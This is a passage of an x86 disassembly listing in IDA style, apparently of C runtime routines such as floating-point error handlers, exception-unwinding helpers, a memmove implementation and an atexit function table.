sub_415E4A(double) sub_415E4A proc near ; CODE XREF: sub_4031B3+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push ds:dword_42F320 call sub_41A89D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_415ED0 call sub_41A765 pop ecx test eax, eax pop ecx jle short loc_415EB3 cmp eax, 2 jle short loc_415EA5 cmp eax, 3 jnz short loc_415EB3 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_41A075 add esp, 10h jmp short loc_415F15 ; --------------------------------------------------------------------------- loc_415EA5: ; CODE XREF: sub_415E4A+3Fj push esi push ebx call sub_41A89D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_415F15 ; --------------------------------------------------------------------------- loc_415EB3: ; CODE XREF: sub_415E4A+3Aj ; sub_415E4A+44j fld [ebp+arg_0] fadd ds:dbl_422690 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_415F0D ; --------------------------------------------------------------------------- loc_415ED0: ; CODE XREF: sub_415E4A+2Fj call sub_41A72A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_415EF3 loc_415EE5: ; CODE XREF: sub_415E4A+ACj push esi push ebx call sub_41A89D fld [ebp+var_8] pop ecx pop ecx jmp short loc_415F15 ; --------------------------------------------------------------------------- loc_415EF3: ; CODE XREF: sub_415E4A+99j test bl, 20h jnz short loc_415EE5 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_415F0D: ; CODE XREF: sub_415E4A+84j call sub_41A0C8 add esp, 1Ch loc_415F15: ; CODE XREF: sub_415E4A+59j ; sub_415E4A+67j ... pop esi pop ebx leave retn sub_415E4A endp ; =============== S U B R O U T I N E ======================================= sub_415F19 proc near ; CODE XREF: sub_417BD8+9p ; sub_41A966+21p ; DATA XREF: ... call sub_415F31 call sub_41A966 mov ds:dword_4C9064, eax call sub_41A916 fnclex retn sub_415F19 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_415F31 proc near ; CODE XREF: sub_415F19p mov eax, offset sub_41AD54 mov ds:off_4316C4, offset sub_41A9E9 mov ds:off_4316C0, eax mov ds:off_4316C8, offset sub_41AA4F mov ds:off_4316CC, offset sub_41A98F mov ds:off_4316D0, offset sub_41AA37 mov ds:off_4316D4, eax retn sub_415F31 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F6C proc near ; CODE XREF: sub_4031B3+1Bp ; sub_4031B3+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_415F6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415F93(double) sub_415F93 proc near ; CODE XREF: sub_4031FF+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push ds:dword_42F338 call sub_41A89D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_416019 call sub_41A765 pop ecx test eax, eax pop ecx jle short loc_415FFC cmp eax, 2 jle short loc_415FEE cmp eax, 3 jnz short loc_415FFC fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_41A075 add esp, 10h jmp short loc_41605E ; --------------------------------------------------------------------------- loc_415FEE: ; CODE XREF: sub_415F93+3Fj push esi push ebx call sub_41A89D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41605E ; --------------------------------------------------------------------------- loc_415FFC: ; CODE XREF: sub_415F93+3Aj ; sub_415F93+44j fld [ebp+arg_0] fadd ds:dbl_422690 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_416056 ; --------------------------------------------------------------------------- loc_416019: ; CODE XREF: sub_415F93+2Fj call sub_41A72A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41603C loc_41602E: ; CODE XREF: sub_415F93+ACj push esi push ebx call sub_41A89D fld [ebp+var_8] pop ecx pop ecx jmp short loc_41605E ; --------------------------------------------------------------------------- loc_41603C: ; CODE XREF: sub_415F93+99j test bl, 20h jnz short loc_41602E fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_416056: ; CODE XREF: sub_415F93+84j call sub_41A0C8 add esp, 1Ch loc_41605E: ; CODE XREF: sub_415F93+59j ; sub_415F93+67j ... pop esi pop ebx leave retn sub_415F93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416062 proc near ; CODE XREF: sub_41B1C5+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_416062 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_416096 proc near ; CODE XREF: sub_41B376+199p ; sub_41B53A+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_416096 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41609D proc near ; CODE XREF: sub_41B376+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41609D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4160A4 proc near ; CODE XREF: sub_416256+5Cp ; sub_41B1C5:loc_41B1F6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_4160CC push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_420B66 ; RtlUnwind loc_4160CC: ; DATA XREF: sub_4160A4+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_4160A4 endp ; --------------------------------------------------------------------------- loc_4160F3: ; CODE XREF: _0:00421208j _0:00421225j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41ADCA add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416129 proc near ; CODE XREF: sub_41B240+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41617D inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41B5D0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_416129 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41617D proc near ; DATA XREF: sub_416129+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41ADCA add esp, 20h pop ebp retn sub_41617D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4161A2 proc near ; CODE XREF: sub_41B00C+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_416256 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_416228 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call ds:dword_4C9108 pop ecx pop ecx and [ebp+var_34], 0 loc_416228: ; DATA XREF: sub_4161A2+3Co cmp [ebp+var_4], 0 jz short loc_416245 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41624E ; --------------------------------------------------------------------------- loc_416245: ; CODE XREF: sub_4161A2+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41624E: ; CODE XREF: sub_4161A2+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_4161A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416256 proc near ; DATA XREF: sub_4161A2+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_416279 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_4162C6 ; --------------------------------------------------------------------------- loc_416279: ; CODE XREF: sub_416256+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41ADCA add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_4162B7 push [ebp+arg_0] push [ebp+arg_4] call sub_4160A4 loc_4162B7: ; CODE XREF: sub_416256+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_4162C6: ; CODE XREF: sub_416256+21j pop edi pop esi pop ebx pop ebp retn sub_416256 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162CB proc near ; CODE XREF: sub_41AE65+C6p ; sub_41B00C+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_416322 loc_4162E9: ; CODE XREF: sub_4162CB+52j cmp esi, 0FFFFFFFFh jnz short loc_4162F3 call sub_41B672 loc_4162F3: ; CODE XREF: sub_4162CB+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_416308 cmp ecx, [eax+8] jle short loc_41630D loc_416308: ; CODE XREF: sub_4162CB+36j cmp esi, 0FFFFFFFFh jnz short loc_416319 loc_41630D: ; CODE XREF: sub_4162CB+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_416319: ; CODE XREF: sub_4162CB+40j cmp [ebp+arg_4], 0 jge short loc_4162E9 mov eax, [ebp+var_4] loc_416322: ; CODE XREF: sub_4162CB+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_416336 cmp esi, eax jbe short loc_41633B loc_416336: ; CODE XREF: sub_4162CB+65j call sub_41B672 loc_41633B: ; CODE XREF: sub_4162CB+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_4162CB endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416348 proc near ; CODE XREF: sub_41D894+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_416360 push [ebp+arg_0] call sub_420B66 ; RtlUnwind loc_416360: ; DATA XREF: sub_416348+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_416348 endp ; =============== S U B R O U T I N E ======================================= sub_416368 proc near ; DATA XREF: sub_41638A+Ao ; sub_4163F2+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_416389 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_416389: ; CODE XREF: sub_416368+10j retn sub_416368 endp ; =============== S U B R O U T I N E ======================================= sub_41638A proc near ; CODE XREF: sub_41B2E6+Dp ; sub_41D894+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_416368 push large dword ptr fs:0 mov large fs:0, esp loc_4163A7: ; CODE XREF: sub_41638A:loc_4163E2j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_4163E4 cmp esi, [esp+1Ch+arg_4] jz short loc_4163E4 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_4163E2 push 101h mov eax, [ebx+esi*4+8] call sub_41641E call dword ptr [ebx+esi*4+8] loc_4163E2: ; CODE XREF: sub_41638A+44j jmp short loc_4163A7 ; --------------------------------------------------------------------------- loc_4163E4: ; CODE XREF: sub_41638A+2Aj ; sub_41638A+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41638A endp ; =============== S U B R O U T I N E ======================================= sub_4163F2 proc near ; CODE XREF: sub_41B306+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_416368 jnz short locret_416414 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_416414 mov eax, 1 locret_416414: ; CODE XREF: sub_4163F2+10j ; sub_4163F2+1Bj retn sub_4163F2 endp ; =============== S U B R O U T I N E ======================================= sub_416415 proc near ; CODE XREF: sub_41B5D0+1Ep ; sub_41B5D0+40p push ebx push ecx mov ebx, offset dword_42F33C jmp short loc_416428 sub_416415 endp ; =============== S U B R O U T I N E ======================================= sub_41641E proc near ; CODE XREF: sub_41638A+4Fp ; sub_41D894+78p push ebx push ecx mov ebx, offset dword_42F33C mov ecx, [ebp+8] loc_416428: ; CODE XREF: sub_416415+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41641E endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_416438 proc near ; CODE XREF: sub_4031FF+5p ; sub_4033A1+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_416438 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416457 proc near ; CODE XREF: sub_403834+26p ; _0:00420902p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_415DE1 pop ecx retn sub_416457 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416470 proc near ; CODE XREF: sub_4038A5+3Ap ; sub_418ED4+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_416490 cmp edi, eax jb loc_416608 loc_416490: ; CODE XREF: sub_416470+16j test edi, 3 jnz short loc_4164AC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4164CC rep movsd jmp off_4165B8[edx*4] ; --------------------------------------------------------------------------- loc_4164AC: ; CODE XREF: sub_416470+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4164C4 and eax, 3 add ecx, eax jmp dword ptr loc_4164CC+4[eax*4] ; --------------------------------------------------------------------------- loc_4164C4: ; CODE XREF: sub_416470+46j jmp dword ptr loc_4165C8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4164CC: ; CODE XREF: sub_416470+31j ; sub_416470+8Ej ... jmp off_41654C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4164E0 dd offset loc_41650C dd offset loc_416530 ; --------------------------------------------------------------------------- loc_4164E0: ; DATA XREF: sub_416470+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4164CC rep movsd jmp off_4165B8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41650C: ; DATA XREF: sub_416470+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4164CC rep movsd jmp off_4165B8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_416530: ; DATA XREF: sub_416470+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4164CC rep movsd jmp off_4165B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41654C dd offset loc_4165AF ; DATA XREF: sub_416470:loc_4164CCr dd offset loc_41659C dd offset loc_416594 dd offset loc_41658C dd offset loc_416584 dd offset loc_41657C dd offset loc_416574 dd offset loc_41656C ; --------------------------------------------------------------------------- loc_41656C: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_416574: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41657C: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_416584: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41658C: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_416594: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41659C: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4165AF: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470:off_41654Co jmp off_4165B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4165B8 dd offset loc_4165C8 ; DATA XREF: sub_416470+35r ; sub_416470+92r ... dd offset loc_4165D0 dd offset loc_4165DC dd offset loc_4165F0 ; --------------------------------------------------------------------------- loc_4165C8: ; CODE XREF: sub_416470+35j ; sub_416470+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4165D0: ; CODE XREF: sub_416470+35j ; sub_416470+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4165DC: ; CODE XREF: sub_416470+35j ; sub_416470+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4165F0: ; CODE XREF: sub_416470+35j ; sub_416470+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416608: ; CODE XREF: sub_416470+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41663C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_416630 std rep movsd cld jmp off_416750[edx*4] ; --------------------------------------------------------------------------- align 10h loc_416630: ; CODE XREF: sub_416470+1B1j ; sub_416470+208j ... neg ecx jmp off_416700[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41663C: ; CODE XREF: sub_416470+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_416654 and eax, 3 sub ecx, eax jmp dword ptr loc_416654+4[eax*4] ; --------------------------------------------------------------------------- loc_416654: ; CODE XREF: sub_416470+1D6j ; DATA XREF: sub_416470+1DDr jmp off_416750[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_416667+1 dd offset loc_416688 ; --------------------------------------------------------------------------- mov al, 66h inc ecx loc_416667: ; DATA XREF: sub_416470+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_416630 std rep movsd cld jmp off_416750[edx*4] ; --------------------------------------------------------------------------- align 4 loc_416688: ; DATA XREF: sub_416470+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_416630 std rep movsd cld jmp off_416750[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_416630 std rep movsd cld jmp off_416750[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_416704 dd offset loc_41670C dd offset loc_416714 dd offset loc_41671C dd offset loc_416724 dd offset loc_41672C dd offset loc_416734 off_416700 dd offset loc_416747 ; DATA XREF: sub_416470+1C2r ; --------------------------------------------------------------------------- loc_416704: ; DATA XREF: sub_416470+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41670C: ; DATA XREF: sub_416470+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_416714: ; DATA XREF: sub_416470+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41671C: ; DATA XREF: sub_416470+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_416724: ; DATA XREF: sub_416470+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41672C: ; DATA XREF: sub_416470+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_416734: ; DATA XREF: sub_416470+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_416747: ; CODE XREF: sub_416470+1C2j ; DATA XREF: sub_416470:off_416700o jmp off_416750[edx*4] ; --------------------------------------------------------------------------- align 10h off_416750 dd offset loc_416760 ; DATA XREF: sub_416470+1B7r ; sub_416470:loc_416654r ... dd offset loc_416768 dd offset loc_416778 dd offset loc_41678C ; --------------------------------------------------------------------------- loc_416760: ; CODE XREF: sub_416470+1B7j ; sub_416470:loc_416654j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416768: ; CODE XREF: sub_416470+1B7j ; sub_416470:loc_416654j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416778: ; CODE XREF: sub_416470+1B7j ; sub_416470:loc_416654j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41678C: ; CODE XREF: sub_416470+1B7j ; sub_416470:loc_416654j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_416470 endp ; =============== S U B R O U T I N E ======================================= sub_4167A5 proc near ; CODE XREF: sub_40390C+34p ; sub_40390C+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_415D41 pop ecx pop ecx retn sub_4167A5 endp ; =============== S U B R O U T I N E ======================================= sub_4167B3 proc near ; CODE XREF: sub_416820+4p arg_0 = dword ptr 4 push esi push ds:dword_4CA71C call sub_41B6C8 mov edx, ds:dword_4CA71C pop ecx mov ecx, ds:dword_4CA718 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_416812 push edx call sub_41B6C8 add eax, 10h push eax push ds:dword_4CA71C call sub_41756F add esp, 0Ch test eax, eax jnz short loc_4167F5 retn ; --------------------------------------------------------------------------- loc_4167F5: ; CODE XREF: sub_4167B3+3Fj mov ecx, ds:dword_4CA718 sub ecx, ds:dword_4CA71C mov ds:dword_4CA71C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov ds:dword_4CA718, ecx loc_416812: ; CODE XREF: sub_4167B3+23j mov eax, [esp+arg_0] mov [ecx], eax add ds:dword_4CA718, 4 retn sub_4167B3 endp ; =============== S U B R O U T I N E ======================================= sub_416820 proc near ; CODE XREF: sub_4039F9+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_4167B3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_416820 endp ; =============== S U B R O U T I N E ======================================= sub_416832 proc near ; DATA XREF: _2:00424010o push 80h call sub_415D2F test eax, eax pop ecx mov ds:dword_4CA71C, eax jnz short loc_416853 push 18h call sub_417DFA mov eax, ds:dword_4CA71C pop ecx loc_416853: ; CODE XREF: sub_416832+12j and dword ptr [eax], 0 mov eax, ds:dword_4CA71C mov ds:dword_4CA718, eax retn sub_416832 endp ; =============== S U B R O U T I N E ======================================= sub_416861 proc near ; CODE XREF: sub_418CBC+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_416878 add esp, 10h retn sub_416861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416878 